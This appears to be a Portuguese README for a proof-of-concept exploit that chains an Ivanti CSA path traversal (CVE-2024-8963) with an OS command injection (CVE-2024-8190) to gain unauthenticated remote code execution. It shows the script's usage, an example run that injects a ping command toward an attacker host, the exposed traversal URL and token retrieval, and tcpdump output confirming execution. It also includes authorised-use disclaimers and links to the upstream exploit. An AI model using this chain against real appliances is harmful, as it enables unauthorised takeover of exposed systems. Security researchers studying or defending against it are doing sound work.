
Combinando CVE-2024-8963 & CVE-2024-8190 - Para RCE não autenticado no Ivanti CSA 4.6 e anteriores
Combinando CVE-2024-8963 & CVE-2024-8190 - PoC para RCE não autenticado no Ivanti CSA 4.6 e anteriores.
CVE-2024-8963
Path Traversal no Ivanti CSA anterior ao Patch 519 da versão 4.6 permite que um atacante remoto não autenticado acesse funcionalidades restritas.
CVE-2024-8190
Uma vulnerabilidade de injeção de comandos do SO no Ivanti Cloud Services Appliance versões 4.6 Patch 518 e anteriores permite que um atacante remoto autenticado obtenha execução remota de código. O atacante deve ter privilégios de nível de administrador para explorar esta vulnerabilidade.
Este PoC combina os dois para demonstrar como o CVE-2024-8190 pode ser usado sem autenticação.
python3 ./cve-2024-8190.py <target_url> '<CMD>'
$ python3 ./cve-2024-8190.py https://<target> 'ping -c 4 <attacker>'
[!] AVISO: Este script é apenas para testes autorizados e fins educacionais. O uso não autorizado é ilegal.
[*] Obtendo https://<target>/client/index.php%3F.php/gsb/datetime.php...
[+] Obtido valor LDCSA_CSRF: sid:483045<REMOVED>
[*] Enviando payload...
[!] A requisição expirou. Verifique se o comando foi executado no alvo.
$ sudo tcpdump -n "icmp" -l
11:43:15.135004 IP <target> > <attacker> ICMP echo request, id 30001, seq 1, length 64
11:43:16.135647 IP <target> > <attacker>: ICMP echo request, id 30001, seq 2, length 64
11:43:17.137707 IP <target> > <attacker>: ICMP echo request, id 30001, seq 3, length 64
11:43:18.137085 IP <target> > <attacker>: ICMP echo request, id 30001, seq 4, length 64
O PoC do CVE-2024-8190 da Horizon3.ai no qual este se baseia fortemente:
https://github.com/horizon3ai/CVE-2024-8190
O template nuclei da ProjectDiscovery para o CVE-2024-8963.yaml:
https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-8963.yaml
P.S. ProjectDiscovery é demais!
Não seja um babaca.
Este software foi criado puramente para fins de pesquisa acadêmica e para o desenvolvimento de técnicas defensivas eficazes, e não se destina a ser usado para atacar sistemas, exceto quando explicitamente autorizado. Os mantenedores do projeto não são responsáveis pelo uso indevido do software. Use com responsabilidade.